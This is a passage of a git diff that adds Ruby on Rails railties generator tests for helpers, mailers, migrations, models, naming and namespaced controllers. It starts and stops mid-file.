+ run_generator
+ assert_file "test/helpers/admin_helper_test.rb", /class AdminHelperTest < ActionView::TestCase/
+ end
+
+ def test_logs_if_the_test_framework_cannot_be_found
+ content = run_generator ["admin", "--test-framework=rspec"]
+ assert_match(/rspec \[not found\]/, content)
+ end
+
+ def test_check_class_collision
+ content = capture(:stderr){ run_generator ["object"] }
+ assert_match(/The name 'ObjectHelper' is either already used in your application or reserved/, content)
+ end
+
+ def test_check_class_collision_on_tests
+ content = capture(:stderr){ run_generator ["another_object"] }
+ assert_match(/The name 'AnotherObjectHelperTest' is either already used in your application or reserved/, content)
+ end
+
+ def test_namespaced_and_not_namespaced_helpers
+ run_generator ["products"]
+
+ # We have to require the generated helper to show the problem because
+ # the test helpers just check for generated files and contents but
+ # do not actually load them. But they have to be loaded (as in a real environment)
+ # to make the second generator run fail
+ require "#{destination_root}/app/helpers/products_helper"
+
+ assert_nothing_raised do
+ begin
+ run_generator ["admin::products"]
+ ensure
+ # cleanup
+ Object.send(:remove_const, :ProductsHelper)
+ end
+ end
+ end
+end
diff --git a/railties/test/generators/integration_test_generator_test.rb b/railties/test/generators/integration_test_generator_test.rb
new file mode 100644
index 0000000..d05ed76
--- /dev/null
+++ b/railties/test/generators/integration_test_generator_test.rb
@@ -0,0 +1,12 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/integration_test/integration_test_generator'
+
+class IntegrationTestGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(integration)
+
+ def test_integration_test_skeleton_is_created
+ run_generator
+ assert_file "test/integration/integration_test.rb", /class IntegrationTest < ActionDispatch::IntegrationTest/
+ end
+end
diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb
new file mode 100644
index 0000000..6b2351f
--- /dev/null
+++ b/railties/test/generators/mailer_generator_test.rb
@@ -0,0 +1,86 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/mailer/mailer_generator'
+
+
+class MailerGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(notifier foo bar)
+
+ def test_mailer_skeleton_is_created
+ run_generator
+ assert_file "app/mailers/notifier.rb" do |mailer|
+ assert_match(/class Notifier < ActionMailer::Base/, mailer)
+ assert_match(/default from: "from at example.com"/, mailer)
+ end
+ end
+
+ def test_mailer_with_i18n_helper
+ run_generator
+ assert_file "app/mailers/notifier.rb" do |mailer|
+ assert_match(/en\.notifier\.foo\.subject/, mailer)
+ assert_match(/en\.notifier\.bar\.subject/, mailer)
+ end
+ end
+
+ def test_check_class_collision
+ content = capture(:stderr){ run_generator ["object"] }
+ assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+ end
+
+ def test_invokes_default_test_framework
+ run_generator
+ assert_file "test/mailers/notifier_test.rb" do |test|
+ assert_match(/class NotifierTest < ActionMailer::TestCase/, test)
+ assert_match(/test "foo"/, test)
+ assert_match(/test "bar"/, test)
+ end
+ end
+
+ def test_invokes_default_template_engine
+ run_generator
+ assert_file "app/views/notifier/foo.text.erb" do |view|
+ assert_match(%r(app/views/notifier/foo\.text\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+
+ assert_file "app/views/notifier/bar.text.erb" do |view|
+ assert_match(%r(app/views/notifier/bar\.text\.erb), view)
+ assert_match(/<%= @greeting %>/, view)
+ end
+ end
+
+ def test_invokes_default_template_engine_even_with_no_action
+ run_generator ["notifier"]
+ assert_file "app/views/notifier"
+ end
+
+ def test_logs_if_the_template_engine_cannot_be_found
+ content = run_generator ["notifier", "foo", "bar", "--template-engine=haml"]
+ assert_match(/haml \[not found\]/, content)
+ end
+
+ def test_mailer_with_namedspaced_mailer
+ run_generator ["Farm::Animal", "moos"]
+ assert_file "app/mailers/farm/animal.rb" do |mailer|
+ assert_match(/class Farm::Animal < ActionMailer::Base/, mailer)
+ assert_match(/en\.farm\.animal\.moos\.subject/, mailer)
+ end
+ assert_file "app/views/farm/animal/moos.text.erb"
+ end
+
+ def test_actions_are_turned_into_methods
+ run_generator
+
+ assert_file "app/mailers/notifier.rb" do |mailer|
+ assert_instance_method :foo, mailer do |foo|
+ assert_match(/mail to: "to at example.org"/, foo)
+ assert_match(/@greeting = "Hi"/, foo)
+ end
+
+ assert_instance_method :bar, mailer do |bar|
+ assert_match(/mail to: "to at example.org"/, bar)
+ assert_match(/@greeting = "Hi"/, bar)
+ end
+ end
+ end
+end
diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb
new file mode 100644
index 0000000..d876597
--- /dev/null
+++ b/railties/test/generators/migration_generator_test.rb
@@ -0,0 +1,200 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/migration/migration_generator'
+
+class MigrationGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
+ def test_migration
+ migration = "change_title_body_from_posts"
+ run_generator [migration]
+ assert_migration "db/migrate/#{migration}.rb", /class ChangeTitleBodyFromPosts < ActiveRecord::Migration/
+ end
+
+ def test_migrations_generated_simultaneously
+ migrations = ["change_title_body_from_posts", "change_email_from_comments"]
+
+ first_migration_number, second_migration_number = migrations.collect do |migration|
+ run_generator [migration]
+ file_name = migration_file_name "db/migrate/#{migration}.rb"
+
+ File.basename(file_name).split('_').first
+ end
+
+ assert_not_equal first_migration_number, second_migration_number
+ end
+
+ def test_migration_with_class_name
+ migration = "ChangeTitleBodyFromPosts"
+ run_generator [migration]
+ assert_migration "db/migrate/change_title_body_from_posts.rb", /class #{migration} < ActiveRecord::Migration/
+ end
+
+ def test_migration_with_invalid_file_name
+ migration = "add_something:datetime"
+ assert_raise ActiveRecord::IllegalMigrationNameError do
+ run_generator [migration]
+ end
+ end
+
+ def test_add_migration_with_attributes
+ migration = "add_title_body_to_posts"
+ run_generator [migration, "title:string", "body:text"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :posts, :title, :string/, change)
+ assert_match(/add_column :posts, :body, :text/, change)
+ end
+ end
+ end
+
+ def test_remove_migration_with_indexed_attribute
+ migration = "remove_title_body_from_posts"
+ run_generator [migration, "title:string:index", "body:text"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/remove_column :posts, :title, :string/, change)
+ assert_match(/remove_column :posts, :body, :text/, change)
+ assert_match(/remove_index :posts, :title/, change)
+ end
+ end
+ end
+
+ def test_remove_migration_with_attributes
+ migration = "remove_title_body_from_posts"
+ run_generator [migration, "title:string", "body:text"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/remove_column :posts, :title, :string/, change)
+ assert_match(/remove_column :posts, :body, :text/, change)
+ end
+ end
+ end
+
+ def test_remove_migration_with_references_options
+ migration = "remove_references_from_books"
+ run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/remove_reference :books, :author, index: true/, change)
+ assert_match(/remove_reference :books, :distributor, polymorphic: true, index: true/, change)
+ end
+ end
+ end
+
+ def test_add_migration_with_attributes_and_indices
+ migration = "add_title_with_index_and_body_to_posts"
+ run_generator [migration, "title:string:index", "body:text", "user_id:integer:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :posts, :title, :string/, change)
+ assert_match(/add_column :posts, :body, :text/, change)
+ assert_match(/add_column :posts, :user_id, :integer/, change)
+ assert_match(/add_index :posts, :title/, change)
+ assert_match(/add_index :posts, :user_id, unique: true/, change)
+ end
+ end
+ end
+
+ def test_add_migration_with_attributes_and_wrong_index_declaration
+ migration = "add_title_and_content_to_books"
+ run_generator [migration, "title:string:inex", "content:text", "user_id:integer:unik"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :books, :title, :string/, change)
+ assert_match(/add_column :books, :content, :text/, change)
+ assert_match(/add_column :books, :user_id, :integer/, change)
+ end
+ assert_no_match(/add_index :books, :title/, content)
+ assert_no_match(/add_index :books, :user_id/, content)
+ end
+ end
+
+ def test_add_migration_with_attributes_without_type_and_index
+ migration = "add_title_with_index_and_body_to_posts"
+ run_generator [migration, "title:index", "body:text", "user_uuid:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :posts, :title, :string/, change)
+ assert_match(/add_column :posts, :body, :text/, change)
+ assert_match(/add_column :posts, :user_uuid, :string/, change)
+ assert_match(/add_index :posts, :title/, change)
+ assert_match(/add_index :posts, :user_uuid, unique: true/, change)
+ end
+ end
+ end
+
+ def test_add_migration_with_attributes_index_declaration_and_attribute_options
+ migration = "add_title_and_content_to_books"
+ run_generator [migration, "title:string{40}:index", "content:string{255}", "price:decimal{1,2}:index", "discount:decimal{3.4}:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_column :books, :title, :string, limit: 40/, change)
+ assert_match(/add_column :books, :content, :string, limit: 255/, change)
+ assert_match(/add_column :books, :price, :decimal, precision: 1, scale: 2/, change)
+ assert_match(/add_column :books, :discount, :decimal, precision: 3, scale: 4/, change)
+ end
+ assert_match(/add_index :books, :title/, content)
+ assert_match(/add_index :books, :price/, content)
+ assert_match(/add_index :books, :discount, unique: true/, content)
+ end
+ end
+
+ def test_add_migration_with_references_options
+ migration = "add_references_to_books"
+ run_generator [migration, "author:belongs_to", "distributor:references{polymorphic}"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/add_reference :books, :author, index: true/, change)
+ assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, change)
+ end
+ end
+ end
+
+ def test_create_join_table_migration
+ migration = "add_media_join_table"
+ run_generator [migration, "artist_id", "musics:uniq"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_join_table :artists, :musics/, change)
+ assert_match(/# t.index \[:artist_id, :music_id\]/, change)
+ assert_match(/ t.index \[:music_id, :artist_id\], unique: true/, change)
+ end
+ end
+ end
+
+ def test_create_table_migration
+ run_generator ["create_books", "title:string", "content:text"]
+ assert_migration "db/migrate/create_books.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/create_table :books/, change)
+ assert_match(/ t\.string :title/, change)
+ assert_match(/ t\.text :content/, change)
+ end
+ end
+ end
+
+ def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create
+ migration = "delete_books"
+ run_generator [migration, "title:string", "content:text"]
+
+ assert_migration "db/migrate/#{migration}.rb" do |content|
+ assert_method :change, content do |change|
+ assert_match(/^\s*$/, change)
+ end
+ end
+ end
+
+ def test_properly_identifies_usage_file
+ assert generator_class.send(:usage_path)
+ end
+end
diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb
new file mode 100644
index 0000000..01ab77e
--- /dev/null
+++ b/railties/test/generators/model_generator_test.rb
@@ -0,0 +1,364 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/model/model_generator'
+
+class ModelGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(Account name:string age:integer)
+
+ def test_help_shows_invoked_generators_options
+ content = run_generator ["--help"]
+ assert_match(/ActiveRecord options:/, content)
+ assert_match(/TestUnit options:/, content)
+ end
+
+ def test_model_with_missing_attribute_type
+ run_generator ["post", "title", "body:text", "author"]
+
+ assert_migration "db/migrate/create_posts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/t\.string :title/, up)
+ assert_match(/t\.text :body/, up)
+ assert_match(/t\.string :author/, up)
+ end
+ end
+ end
+
+ def test_invokes_default_orm
+ run_generator
+ assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/
+ end
+
+ def test_model_with_parent_option
+ run_generator ["account", "--parent", "Admin::Account"]
+ assert_file "app/models/account.rb", /class Account < Admin::Account/
+ assert_no_migration "db/migrate/create_accounts.rb"
+ end
+
+ def test_model_with_underscored_parent_option
+ run_generator ["account", "--parent", "admin/account"]
+ assert_file "app/models/account.rb", /class Account < Admin::Account/
+ end
+
+ def test_model_with_namespace
+ run_generator ["admin/account"]
+ assert_file "app/models/admin.rb", /module Admin/
+ assert_file "app/models/admin.rb", /def self\.table_name_prefix/
+ assert_file "app/models/admin.rb", /'admin_'/
+ assert_file "app/models/admin/account.rb", /class Admin::Account < ActiveRecord::Base/
+ end
+
+ def test_migration
+ run_generator
+ assert_migration "db/migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration/
+ end
+
+ def test_migration_with_namespace
+ run_generator ["Gallery::Image"]
+ assert_migration "db/migrate/create_gallery_images", /class CreateGalleryImages < ActiveRecord::Migration/
+ assert_no_migration "db/migrate/create_images"
+ end
+
+ def test_migration_with_nested_namespace
+ run_generator ["Admin::Gallery::Image"]
+ assert_no_migration "db/migrate/create_images"
+ assert_no_migration "db/migrate/create_gallery_images"
+ assert_migration "db/migrate/create_admin_gallery_images", /class CreateAdminGalleryImages < ActiveRecord::Migration/
+ assert_migration "db/migrate/create_admin_gallery_images", /create_table :admin_gallery_images/
+ end
+
+ def test_migration_with_nested_namespace_without_pluralization
+ ActiveRecord::Base.pluralize_table_names = false
+ run_generator ["Admin::Gallery::Image"]
+ assert_no_migration "db/migrate/create_images"
+ assert_no_migration "db/migrate/create_gallery_images"
+ assert_no_migration "db/migrate/create_admin_gallery_images"
+ assert_migration "db/migrate/create_admin_gallery_image", /class CreateAdminGalleryImage < ActiveRecord::Migration/
+ assert_migration "db/migrate/create_admin_gallery_image", /create_table :admin_gallery_image/
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ end
+
+ def test_migration_with_namespaces_in_model_name_without_plurization
+ ActiveRecord::Base.pluralize_table_names = false
+ run_generator ["Gallery::Image"]
+ assert_migration "db/migrate/create_gallery_image", /class CreateGalleryImage < ActiveRecord::Migration/
+ assert_no_migration "db/migrate/create_gallery_images"
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ end
+
+ def test_migration_without_pluralization
+ ActiveRecord::Base.pluralize_table_names = false
+ run_generator
+ assert_migration "db/migrate/create_account", /class CreateAccount < ActiveRecord::Migration/
+ assert_no_migration "db/migrate/create_accounts"
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ end
+
+ def test_migration_is_skipped
+ run_generator ["account", "--no-migration"]
+ assert_no_migration "db/migrate/create_accounts.rb"
+ end
+
+ def test_migration_with_attributes
+ run_generator ["product", "name:string", "supplier_id:integer"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+ end
+ end
+ end
+
+ def test_migration_with_attributes_and_with_index
+ run_generator ["product", "name:string:index", "supplier_id:integer:index", "user_id:integer:uniq", "order_id:uniq"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+ assert_match(/t\.integer :user_id/, up)
+ assert_match(/t\.string :order_id/, up)
+
+ assert_match(/add_index :products, :name/, up)
+ assert_match(/add_index :products, :supplier_id/, up)
+ assert_match(/add_index :products, :user_id, unique: true/, up)
+ assert_match(/add_index :products, :order_id, unique: true/, up)
+ end
+ end
+ end
+
+ def test_migration_with_attributes_and_with_wrong_index_declaration
+ run_generator ["product", "name:string", "supplier_id:integer:inex", "user_id:integer:unqu"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+ assert_match(/t\.integer :user_id/, up)
+
+ assert_no_match(/add_index :products, :name/, up)
+ assert_no_match(/add_index :products, :supplier_id/, up)
+ assert_no_match(/add_index :products, :user_id/, up)
+ end
+ end
+ end
+
+ def test_migration_with_missing_attribute_type_and_with_index
+ run_generator ["product", "name:index", "supplier_id:integer:index", "year:integer"]
+
+ assert_migration "db/migrate/create_products.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t\.string :name/, up)
+ assert_match(/t\.integer :supplier_id/, up)
+
+ assert_match(/add_index :products, :name/, up)
+ assert_match(/add_index :products, :supplier_id/, up)
+ assert_no_match(/add_index :products, :year/, up)
+ end
+ end
+ end
+
+ def test_add_migration_with_attributes_index_declaration_and_attribute_options
+ run_generator ["product", "title:string{40}:index", "content:string{255}", "price:decimal{5,2}:index", "discount:decimal{5,2}:uniq", "supplier:references{polymorphic}"]
+
+ assert_migration "db/migrate/create_products.rb" do |content|
+ assert_method :change, content do |up|
+ assert_match(/create_table :products/, up)
+ assert_match(/t.string :title, limit: 40/, up)
+ assert_match(/t.string :content, limit: 255/, up)
+ assert_match(/t.decimal :price, precision: 5, scale: 2/, up)
+ assert_match(/t.references :supplier, polymorphic: true/, up)
+ end
+ assert_match(/add_index :products, :title/, content)
+ assert_match(/add_index :products, :price/, content)
+ assert_match(/add_index :products, :discount, unique: true/, content)
+ end
+ end
+
+ def test_migration_without_timestamps
+ ActiveRecord::Base.timestamped_migrations = false
+ run_generator ["account"]
+ assert_file "db/migrate/001_create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration/
+
+ run_generator ["project"]
+ assert_file "db/migrate/002_create_projects.rb", /class CreateProjects < ActiveRecord::Migration/
+ ensure
+ ActiveRecord::Base.timestamped_migrations = true
+ end
+
+ def test_model_with_references_attribute_generates_belongs_to_associations
+ run_generator ["product", "name:string", "supplier:references"]
+ assert_file "app/models/product.rb", /belongs_to :supplier/
+ end
+
+ def test_model_with_belongs_to_attribute_generates_belongs_to_associations
+ run_generator ["product", "name:string", "supplier:belongs_to"]
+ assert_file "app/models/product.rb", /belongs_to :supplier/
+ end
+
+ def test_model_with_polymorphic_references_attribute_generates_belongs_to_associations
+ run_generator ["product", "name:string", "supplier:references{polymorphic}"]
+ assert_file "app/models/product.rb", /belongs_to :supplier, polymorphic: true/
+ end
+
+ def test_model_with_polymorphic_belongs_to_attribute_generates_belongs_to_associations
+ run_generator ["product", "name:string", "supplier:belongs_to{polymorphic}"]
+ assert_file "app/models/product.rb", /belongs_to :supplier, polymorphic: true/
+ end
+
+ def test_migration_with_timestamps
+ run_generator
+ assert_migration "db/migrate/create_accounts.rb", /t.timestamps/
+ end
+
+ def test_migration_timestamps_are_skipped
+ run_generator ["account", "--no-timestamps"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_no_match(/t.timestamps/, up)
+ end
+ end
+ end
+
+ def test_migration_is_skipped_with_skip_option
+ run_generator
+ output = run_generator ["Account", "--skip"]
+ assert_match %r{skip\s+db/migrate/\d+_create_accounts.rb}, output
+ end
+
+ def test_migration_is_ignored_as_identical_with_skip_option
+ run_generator ["Account"]
+ output = run_generator ["Account", "--skip"]
+ assert_match %r{identical\s+db/migrate/\d+_create_accounts.rb}, output
+ end
+
+ def test_migration_is_skipped_on_skip_behavior
+ run_generator
+ output = run_generator ["Account"], behavior: :skip
+ assert_match %r{skip\s+db/migrate/\d+_create_accounts.rb}, output
+ end
+
+ def test_migration_error_is_not_shown_on_revoke
+ run_generator
+ error = capture(:stderr){ run_generator ["Account"], behavior: :revoke }
+ assert_no_match(/Another migration is already named create_accounts/, error)
+ end
+
+ def test_migration_is_removed_on_revoke
+ run_generator
+ run_generator ["Account"], behavior: :revoke
+ assert_no_migration "db/migrate/create_accounts.rb"
+ end
+
+ def test_existing_migration_is_removed_on_force
+ run_generator
+ old_migration = Dir["#{destination_root}/db/migrate/*_create_accounts.rb"].first
+ error = capture(:stderr) { run_generator ["Account", "--force"] }
+ assert_no_match(/Another migration is already named create_accounts/, error)
+ assert_no_file old_migration
+ assert_migration "db/migrate/create_accounts.rb"
+ end
+
+ def test_invokes_default_test_framework
+ run_generator
+ assert_file "test/models/account_test.rb", /class AccountTest < ActiveSupport::TestCase/
+
+ assert_file "test/fixtures/accounts.yml", /name: MyString/, /age: 1/
+ assert_generated_fixture("test/fixtures/accounts.yml",
+ {"one"=>{"name"=>"MyString", "age"=>1}, "two"=>{"name"=>"MyString", "age"=>1}})
+ end
+
+ def test_fixtures_use_the_references_ids
+ run_generator ["LineItem", "product:references", "cart:belongs_to"]
+
+ assert_file "test/fixtures/line_items.yml", /product_id: \n cart_id: /
+ assert_generated_fixture("test/fixtures/line_items.yml",
+ {"one"=>{"product_id"=>nil, "cart_id"=>nil}, "two"=>{"product_id"=>nil, "cart_id"=>nil}})
+ end
+
+ def test_fixtures_use_the_references_ids_and_type
+ run_generator ["LineItem", "product:references{polymorphic}", "cart:belongs_to"]
+
+ assert_file "test/fixtures/line_items.yml", /product_id: \n product_type: Product\n cart_id: /
+ assert_generated_fixture("test/fixtures/line_items.yml",
+ {"one"=>{"product_id"=>nil, "product_type"=>"Product", "cart_id"=>nil},
+ "two"=>{"product_id"=>nil, "product_type"=>"Product", "cart_id"=>nil}})
+ end
+
+ def test_fixtures_respect_reserved_yml_keywords
+ run_generator ["LineItem", "no:integer", "Off:boolean", "ON:boolean"]
+
+ assert_generated_fixture("test/fixtures/line_items.yml",
+ {"one"=>{"no"=>1, "Off"=>false, "ON"=>false}, "two"=>{"no"=>1, "Off"=>false, "ON"=>false}})
+ end
+
+ def test_fixture_is_skipped
+ run_generator ["account", "--skip-fixture"]
+ assert_no_file "test/fixtures/accounts.yml"
+ end
+
+ def test_fixture_is_skipped_if_fixture_replacement_is_given
+ content = run_generator ["account", "-r", "factory_girl"]
+ assert_match(/factory_girl \[not found\]/, content)
+ assert_no_file "test/fixtures/accounts.yml"
+ end
+
+ def test_check_class_collision
+ content = capture(:stderr){ run_generator ["object"] }
+ assert_match(/The name 'Object' is either already used in your application or reserved/, content)
+ end
+
+ def test_index_is_added_for_belongs_to_association
+ run_generator ["account", "supplier:belongs_to"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/index: true/, up)
+ end
+ end
+ end
+
+ def test_index_is_added_for_references_association
+ run_generator ["account", "supplier:references"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_match(/index: true/, up)
+ end
+ end
+ end
+
+ def test_index_is_skipped_for_belongs_to_association
+ run_generator ["account", "supplier:belongs_to", "--no-indexes"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_no_match(/index: true/, up)
+ end
+ end
+ end
+
+ def test_index_is_skipped_for_references_association
+ run_generator ["account", "supplier:references", "--no-indexes"]
+
+ assert_migration "db/migrate/create_accounts.rb" do |m|
+ assert_method :change, m do |up|
+ assert_no_match(/index: true/, up)
+ end
+ end
+ end
+
+ private
+ def assert_generated_fixture(path, parsed_contents)
+ fixture_file = File.new File.expand_path(path, destination_root)
+ assert_equal(parsed_contents, YAML.load(fixture_file))
+ end
+end
diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb
new file mode 100644
index 0000000..2bc2c33
--- /dev/null
+++ b/railties/test/generators/named_base_test.rb
@@ -0,0 +1,125 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator'
+
+# Mock out what we need from AR::Base.
+module ActiveRecord
+ class Base
+ class << self
+ attr_accessor :pluralize_table_names
+ end
+ self.pluralize_table_names = true
+ end
+end
+
+class NamedBaseTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ tests Rails::Generators::ScaffoldControllerGenerator
+
+ def test_named_generator_with_underscore
+ g = generator ['line_item']
+ assert_name g, 'line_item', :name
+ assert_name g, %w(), :class_path
+ assert_name g, 'LineItem', :class_name
+ assert_name g, 'line_item', :file_path
+ assert_name g, 'line_item', :file_name
+ assert_name g, 'Line item', :human_name
+ assert_name g, 'line_item', :singular_name
+ assert_name g, 'line_items', :plural_name
+ assert_name g, 'line_item', :i18n_scope
+ assert_name g, 'line_items', :table_name
+ end
+
+ def test_named_generator_attributes
+ g = generator ['admin/foo']
+ assert_name g, 'admin/foo', :name
+ assert_name g, %w(admin), :class_path
+ assert_name g, 'Admin::Foo', :class_name
+ assert_name g, 'admin/foo', :file_path
+ assert_name g, 'foo', :file_name
+ assert_name g, 'Foo', :human_name
+ assert_name g, 'foo', :singular_name
+ assert_name g, 'foos', :plural_name
+ assert_name g, 'admin.foo', :i18n_scope
+ assert_name g, 'admin_foos', :table_name
+ end
+
+ def test_named_generator_attributes_as_ruby
+ g = generator ['Admin::Foo']
+ assert_name g, 'Admin::Foo', :name
+ assert_name g, %w(admin), :class_path
+ assert_name g, 'Admin::Foo', :class_name
+ assert_name g, 'admin/foo', :file_path
+ assert_name g, 'foo', :file_name
+ assert_name g, 'foo', :singular_name
+ assert_name g, 'Foo', :human_name
+ assert_name g, 'foos', :plural_name
+ assert_name g, 'admin.foo', :i18n_scope
+ assert_name g, 'admin_foos', :table_name
+ end
+
+ def test_named_generator_attributes_without_pluralized
+ ActiveRecord::Base.pluralize_table_names = false
+ g = generator ['admin/foo']
+ assert_name g, 'admin_foo', :table_name
+ ensure
+ ActiveRecord::Base.pluralize_table_names = true
+ end
+
+ def test_scaffold_plural_names
+ g = generator ['admin/foo']
+ assert_name g, 'admin/foos', :controller_name
+ assert_name g, %w(admin), :controller_class_path
+ assert_name g, 'Admin::Foos', :controller_class_name
+ assert_name g, 'admin/foos', :controller_file_path
+ assert_name g, 'foos', :controller_file_name
+ assert_name g, 'admin.foos', :controller_i18n_scope
+ end
+
+ def test_scaffold_plural_names_as_ruby
+ g = generator ['Admin::Foo']
+ assert_name g, 'Admin::Foos', :controller_name
+ assert_name g, %w(admin), :controller_class_path
+ assert_name g, 'Admin::Foos', :controller_class_name
+ assert_name g, 'admin/foos', :controller_file_path
+ assert_name g, 'foos', :controller_file_name
+ assert_name g, 'admin.foos', :controller_i18n_scope
+ end
+
+ def test_application_name
+ g = generator ['Admin::Foo']
+ Rails.stubs(:application).returns(Object.new)
+ assert_name g, "object", :application_name
+ Rails.stubs(:application).returns(nil)
+ assert_name g, "application", :application_name
+ end
+
+ def test_index_helper
+ g = generator ['Post']
+ assert_name g, 'posts', :index_helper
+ end
+
+ def test_index_helper_to_pluralize_once
+ g = generator ['Stadium']
+ assert_name g, 'stadia', :index_helper
+ end
+
+ def test_index_helper_with_uncountable
+ g = generator ['Sheep']
+ assert_name g, 'sheep_index', :index_helper
+ end
+
+ def test_hide_namespace
+ g = generator ['Hidden']
+ g.class.stubs(:namespace).returns('hidden')
+
+ assert !Rails::Generators.hidden_namespaces.include?('hidden')
+ g.class.hide!
+ assert Rails::Generators.hidden_namespaces.include?('hidden')
+ end
+
+ protected
+
+ def assert_name(generator, value, method)
+ assert_equal value, generator.send(method)
+ end
+end
diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb
new file mode 100644
index 0000000..a4d8b3d
--- /dev/null
+++ b/railties/test/generators/namespaced_generators_test.rb
@@ -0,0 +1,405 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/controller/controller_generator'
+require 'rails/generators/rails/model/model_generator'
+require 'rails/generators/mailer/mailer_generator'
+require 'rails/generators/rails/scaffold/scaffold_generator'
+
+class NamespacedGeneratorTestCase < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
+ def setup
+ super
+ Rails::Generators.namespace = TestApp
+ end
+end
+
+class NamespacedControllerGeneratorTest < NamespacedGeneratorTestCase
+ arguments %w(Account foo bar)
+ tests Rails::Generators::ControllerGenerator
+
+ setup :copy_routes
+
+ def test_namespaced_controller_skeleton_is_created
+ run_generator
+ assert_file "app/controllers/test_app/account_controller.rb",
+ /require_dependency "test_app\/application_controller"/,
+ /module TestApp/,
+ / class AccountController < ApplicationController/
+
+ assert_file "test/controllers/test_app/account_controller_test.rb",
+ /module TestApp/,
+ / class AccountControllerTest/
+ end
+
+ def test_skipping_namespace
+ run_generator ["Account", "--skip-namespace"]
+ assert_file "app/controllers/account_controller.rb", /class AccountController < ApplicationController/
+ assert_file "app/helpers/account_helper.rb", /module AccountHelper/
+ end
+
+ def test_namespaced_controller_with_additional_namespace
+ run_generator ["admin/account"]
+ assert_file "app/controllers/test_app/admin/account_controller.rb", /module TestApp/, / class Admin::AccountController < ApplicationController/ do |contents|
+ assert_match %r(require_dependency "test_app/application_controller"), contents
+ end
+ end
+
+ def test_helpr_is_also_namespaced
+ run_generator
+ assert_file "app/helpers/test_app/account_helper.rb", /module TestApp/, / module AccountHelper/
+ assert_file "test/helpers/test_app/account_helper_test.rb", /module TestApp/, / class AccountHelperTest/
+ end
+
+ def test_invokes_default_test_framework
+ run_generator
+ assert_file "test/controllers/test_app/account_controller_test.rb"
+ end
+
+ def test_invokes_default_template_engine
+ run_generator
+ assert_file "app/views/test_app/account/foo.html.erb", %r(app/views/test_app/account/foo\.html\.erb)
+ assert_file "app/views/test_app/account/bar.html.erb", %r(app/views/test_app/account/bar\.html\.erb)
+ end
+
+ def test_routes_should_not_be_namespaced
+ run_generator
+ assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+ end
+
+ def test_invokes_default_template_engine_even_with_no_action
+ run_generator ["account"]
+ assert_file "app/views/test_app/account"
+ end
+
+ def test_namespaced_controller_dont_indent_blank_lines
+ run_generator
+ assert_file "app/controllers/test_app/account_controller.rb" do |content|
+ content.split("\n").each do |line|
